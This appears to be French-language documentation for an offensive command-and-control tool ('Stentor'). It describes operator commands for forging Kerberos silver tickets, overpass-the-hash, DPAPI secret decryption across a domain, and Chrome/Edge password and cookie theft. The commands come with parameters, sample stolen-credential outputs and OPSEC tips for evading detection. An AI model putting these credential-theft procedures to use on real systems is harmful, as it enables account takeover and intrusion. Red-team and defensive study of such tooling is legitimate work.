Créez un ticket TGS (Ticket Granting Service) pour un service spécifique à l'aide du hachage du mot de passe du compte de service. Les billets Argent donnent accès à un service unique sans contacter le KDC.
Comment ça marche : Construit un TGS avec un PAC pour le service spécifié, chiffré avec la clé AES256 ou NTLM du compte de service. Étant donné que les tickets TGS sont validés par le service lui-même (et non par le KDC), le faux ticket est accepté sans aucune interaction DC.
Type de tâche : creds (méthode : silver_ticket)
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
domain | chaîne | Oui | -- | Domaine AD |
domain_sid | chaîne | Oui | -- | ID de domaine |
dc | chaîne | Oui | -- | Nom d'hôte du contrôleur de domaine |
service | chaîne | Oui | -- | Type de service (par exemple, cifs, http, mssql) |
target | chaîne | Oui | -- | Nom d'hôte cible (par exemple, sql01.corp.local) |
hash | chaîne | Oui | -- | Hachage NTLM ou AES256 du compte de service |
OPSEC
- Aucune interaction KDC requise - plus difficile à détecter via la surveillance du réseau
- La validation PAC côté service peut détecter des anomalies si elle est activée
- Portée limitée : seul le service ciblé est accessible
- MITRE ATT&CK : T1558.002 (Voler ou forger des tickets Kerberos : Ticket Argent)
overpass (Overpass-the-Hash)¶
Obtenez un Kerberos TGT légitime en envoyant un AS-REQ avec une valeur de pré-authentification PA-ENC-TIMESTAMP basée sur le hachage. Cela convertit un hachage NTLM en un ticket Kerberos valide, permettant un accès authentifié Kerberos sans connaître le mot de passe en clair.
Comment ça marche : Construit un AS-REQ avec PA-ENC-TIMESTAMP chiffré à l'aide du hachage NTLM fourni (via RC4-HMAC etype 23) ou de la clé AES, l'envoie au KDC et reçoit un TGT valide dans l'AS-REP.
Type de tâche : creds (méthode : overpass)
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
domain | chaîne | Oui | -- | Domaine AD |
dc | chaîne | Oui | -- | Contrôleur de domaine |
username | chaîne | Oui | -- | Nom d'utilisateur cible |
hash | chaîne | Oui | -- | Hachage NTLM ou clé AES |
OPSEC
- Génère un échange AS-REQ/AS-REP légitime sur le contrôleur de domaine (ID d'événement 4768)
- L'utilisation de RC4 (type 23) lorsque le compte utilise normalement AES peut être signalée comme une attaque de rétrogradation.
- Le TGT résultant ne peut pas être distingué d'un ticket normalement obtenu
- MITRE ATT&CK : T1550.002 (Utiliser un autre matériel d'authentification : transmettre le hachage)
kerberos_ticket_use¶
Importez un ticket Kerberos au format .kirbi dans le cache de tickets en mémoire du beacon. Le ticket importé sera utilisé pour les opérations ultérieures authentifiées par Kerberos (y compris les commandes jump et remote-exec).
Type de tâche : kerberos (méthode : ticket_use)
kerberos_ccache_use¶
Importez un fichier de cache d’informations d’identification au format .ccache dans le cache de tickets Kerberos du beacon. Les fichiers Ccache sont le format d'identification Linux Kerberos standard (utilisé par kinit, impacket, etc.).
Type de tâche : kerberos (méthode : ccache_use)
Chaîne de décryptage DPAPI¶
L'API de protection des données (DPAPI) est le mécanisme intégré de Windows pour chiffrer les secrets des utilisateurs. Les données protégées par DPAPI incluent les informations d'identification RDP enregistrées, les mots de passe WiFi, les entrées du coffre-fort Credential Manager, les clés privées de certificat et les secrets du navigateur. Le décryptage des données DPAPI nécessite soit le mot de passe de l'utilisateur, soit la clé de sauvegarde du domaine.
flowchart TD
MK[Master Keys<br/>dpapi_masterkeys] --> |User Password| DB[Decrypt Blob]
BK[Domain Backup Key<br/>dpapi_backupkey] --> |LSAD RPC| DB
DB --> RDP[RDP Credentials<br/>dpapi_rdp]
DB --> WIFI[WiFi Passwords<br/>dpapi_wifi]
DB --> VAULT[Vault Entries<br/>dpapi_vault]
DB --> CERT[Certificate Keys<br/>dpapi_certkeys]
TRIAGE[dpapi_triage<br/>Full Chain] --> MK
TRIAGE --> RDP
TRIAGE --> WIFI
TRIAGE --> VAULT
TRIAGE --> CERT
style MK fill:#6a1b9a,color:#fff
style BK fill:#4a148c,color:#fff
style DB fill:#311b92,color:#fff
style RDP fill:#1a237e,color:#fff
style WIFI fill:#1a237e,color:#fff
style VAULT fill:#1a237e,color:#fff
style CERT fill:#1a237e,color:#fff
style TRIAGE fill:#0d47a1,color:#fff dpapi_masterkeys¶
Extrayez les fichiers de clé principale DPAPI des répertoires utilisateur Protect. Les clés principales sont les clés de chiffrement racine utilisées pour protéger les blobs DPAPI. Chaque utilisateur dispose d'un ensemble de clés principales stockées dans %APPDATA%\Microsoft\Protect\<SID>\.
Type de tâche : dpapi (méthode : masterkeys)
Exemple de résultat :
DPAPI master key enumeration for SID S-1-5-21-...-1001:
Found 3 master key files in C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...:
C:\Users\jsmith\...\{a1b2c3d4-e5f6-7890-abcd-ef1234567890} (468 bytes)
C:\Users\jsmith\...\{b2c3d4e5-f6a7-8901-bcde-f12345678901} (468 bytes)
C:\Users\jsmith\...\Preferred (24 bytes)
Note: Master key blobs are encrypted. Decryption requires the user's password
or the domain backup key (via dpapi_backupkey).
OPSEC
- Lit les fichiers du répertoire de profil de l'utilisateur - encombrement minimal
- Ne tente pas de décryptage (énumération uniquement)
- MITRE ATT&CK : T1555.004 (Identifiants des magasins de mots de passe : Windows Credential Manager)
dpapi_backupkey¶
Récupérez la clé de sauvegarde DPAPI du domaine à partir d'un contrôleur de domaine via LsaRetrievePrivateData RPC. La clé de sauvegarde du domaine peut déchiffrer les clés principales DPAPI de n'importe quel utilisateur du domaine, permettant ainsi le déchiffrement hors ligne de tous les secrets protégés par DPAPI sur l'ensemble du domaine.
Type de tâche : dpapi (méthode : backupkey)
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
dc | chaîne | Oui | -- | Nom d'hôte du contrôleur de domaine |
domain | chaîne | Non | Détection automatique | Domaine AD |
OPSEC
- Nécessite un administrateur de domaine ou des privilèges équivalents
- Effectue un appel LSAD RPC au DC (
LsaRetrievePrivateData) - La clé de sauvegarde du domaine est la « clé principale » pour tous les secrets DPAPI du domaine – informations d'identification de très grande valeur
- MITRE ATT&CK : T1555.004 (Identifiants des magasins de mots de passe : Windows Credential Manager)
dpapi_rdp¶
Déchiffrez les informations d'identification RDP (Remote Desktop Protocol) enregistrées à partir du gestionnaire d'informations d'identification Windows. Il s'agit de mots de passe enregistrés lorsqu'un utilisateur coche « Mémoriser mes informations d'identification » dans le client RDP.
Type de tâche : dpapi (méthode : rdp)
OPSEC
- Lit les fichiers d'informations d'identification de
%LOCALAPPDATA%\Microsoft\Credentials\ - Nécessite la clé principale DPAPI de l'utilisateur (ou la clé de sauvegarde de domaine) pour le décryptage
- MITRE ATT&CK : T1555.004
dpapi_wifi¶
Décryptez les mots de passe du profil WiFi stockés sur la machine locale. Les mots de passe WiFi sont protégés par DPAPI et stockés dans des profils XML sous ProgramData\Microsoft\Wlansvc\Profiles\.
Type de tâche : dpapi (méthode : wifi)
OPSEC
- Les profils WiFi sont des blobs DPAPI au niveau de la machine (nécessitent une clé principale SYSTEM ou une clé de sauvegarde de la machine)
- Nécessite un contexte Administrateur local/SYSTÈME
- MITRE ATT&CK : T1555.004
dpapi_vault¶
Décryptez les entrées du coffre-fort Windows Credential Manager. Le coffre-fort contient les informations d'identification enregistrées par les composants et applications Windows (informations d'identification Web, informations d'identification Windows, informations d'identification basées sur un certificat).
Type de tâche : dpapi (méthode : vault)
OPSEC
- Lit les fichiers du coffre-fort à partir de
%LOCALAPPDATA%\Microsoft\Vault\ - Nécessite la clé principale DPAPI de l'utilisateur pour le décryptage
- MITRE ATT&CK : T1555.004
dpapi_certkeys¶
Décryptez les clés privées du certificat protégées par DPAPI. Ces clés sont stockées dans le magasin de certificats de l'utilisateur et peuvent être utilisées pour l'authentification, la signature de code ou la communication cryptée.
Type de tâche : dpapi (méthode : certkeys)
OPSEC
- Lit les fichiers de clés de certificat de
%APPDATA%\Microsoft\Crypto\RSA\et%APPDATA%\Microsoft\Crypto\Keys\ - Nécessite la clé principale DPAPI de l'utilisateur pour le décryptage
- MITRE ATT&CK : T1555.004
dpapi_triage¶
Exécutez un tri DPAPI complet : extrait les clés principales, puis déchiffre tous les types d'informations d'identification protégés par DPAPI disponibles (RDP, WiFi, Vault, clés de certificat) en une seule opération.
Type de tâche : dpapi (méthode : triage)
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
domain | chaîne | Non | -- | Domaine pour la récupération de la clé de sauvegarde |
dc | chaîne | Non | -- | DC pour la récupération de la clé de sauvegarde |
Exemple de résultat :
=== Master Key Extraction ===
Found 3 master key files for SID S-1-5-21-...-1001
=== RDP Credentials ===
Target: TERMSRV/dc01.corp.local
Username: CORP\admin
Password: AdminP@ss123!
=== WiFi Passwords ===
SSID: CorpWiFi
Password: WiFiP@ss2024
=== Vault Credentials ===
Resource: https://intranet.corp.local
Username: jsmith
Password: Intr@net!
=== Certificate Keys ===
Subject: [email protected]
Key exported: RSA 2048-bit
Flux de travail complet de la chaîne DPAPI
- Exécutez
dpapi_triagepour un aperçu rapide de tous les secrets disponibles - Si vous disposez d'un administrateur de domaine, exécutez d'abord
dpapi_backupkeypour obtenir la clé de sauvegarde du domaine. - Avec la clé de sauvegarde, vous pouvez déchiffrer les clés principales de n'importe quel utilisateur du domaine
- Utilisez des commandes individuelles (
dpapi_rdp,dpapi_wifi, etc.) pour une extraction ciblée
Extraction des informations d'identification du navigateur¶
chromedump¶
Extrayez les mots de passe et les cookies enregistrés des navigateurs Google Chrome et Microsoft Edge (basés sur Chromium). Prend en charge à la fois le déchiffrement des clés DPAPI existantes et le cryptage lié aux applications Chrome v20+ via l'interface COM IElevator.
Comment ça marche :
- Localise les répertoires de données utilisateur Chrome/Edge sous
%LOCALAPPDATA% - Lit le fichier
Local StateJSON pour extraire la clé principale chiffrée - Déchiffrement de clé (double approche) :
- Chrome v20+ (chiffrement lié à l'application) : utilise l'interface COM
IElevatorpour déchiffrer la clé liée à l'application via le service d'élévation de Chrome. Revient à DPAPI siIElevatorn'est pas disponible - Legacy (Chrome <v20) : déchiffre la clé principale à l'aide de DPAPI (
CryptUnprotectData)
- Chrome v20+ (chiffrement lié à l'application) : utilise l'interface COM
- Copie la base de données
Login DataSQLite dans un fichier temporaire (évite le verrouillage de Chrome) - Interroge la table
loginspourorigin_url,username_value,password_value - Déchiffre chaque blob de mot de passe à l'aide d'AES-256-GCM avec la clé principale
- Extrait et décrypte également les cookies de la base de données
Cookies
Chiffrement lié à l'application Chrome v20
À partir de Chrome v127+, Google a introduit le chiffrement lié à l'application dans lequel la clé principale est chiffrée selon l'identité de l'application Chrome, et pas seulement selon le contexte DPAPI de l'utilisateur. Cela signifie que CryptUnprotectData seul ne peut pas déchiffrer la clé. chromedump de Stentor utilise l'interface COM IElevator ({708860E0-F641-4611-8895-7D867DD3675B}) pour déchiffrer via le propre service d'élévation de Chrome, puis revient au DPAPI standard pour les anciennes versions de Chrome. Les formats de clé v10/v11 et les clés liées à l'application v20+ sont pris en charge.
Type de tâche : chromedump
Point de terminaison dédié : POST /api/v1/c2/beacons/:id/chromedump
Exemple de résultat :
{
"passwords": [
{
"url": "https://mail.corp.local/owa",
"username": "[email protected]",
"password": "OutlookP@ss123",
"profile": "Default"
},
{
"url": "https://vpn.corp.local",
"username": "jsmith",
"password": "VPNAccess!",
"profile": "Default"
}
],
"cookies": [
{
"host": ".corp.local",
"name": "SessionID",
"value": "abc123...",
"expires": 13350000000000000,
"profile": "Default"
}
]
}
OPSEC
- Accède au répertoire de données utilisateur Chrome (
%LOCALAPPDATA%\Google\Chrome\User Data\) - Lit et copie la base de données
Login DataSQLite et le fichierLocal StateJSON - Appelle
CryptUnprotectDatapour déchiffrer la clé principale (génère l'ID d'événement 16385 si l'audit DPAPI est activé) - Crée une copie temporaire du fichier de base de données (
chromedump-*.dbdans%TEMP%) - S'exécute dans le processus du beacon (pas de fork-and-run) - utilisez d'abord
steal_tokensi l'utilisateur cible diffère de l'utilisateur du beacon - MITRE ATT&CK : T1555.003 (Identifiants des magasins de mots de passe : Identifiants des navigateurs Web)
Extraction multi-utilisateurs
chromedump extrait les informations d'identification pour le contexte utilisateur actuel du beacon. Pour récupérer les informations d'identification d'un autre utilisateur, utilisez d'abord steal_token pour usurper l'identité du jeton de cet utilisateur, puis exécutez chromedump.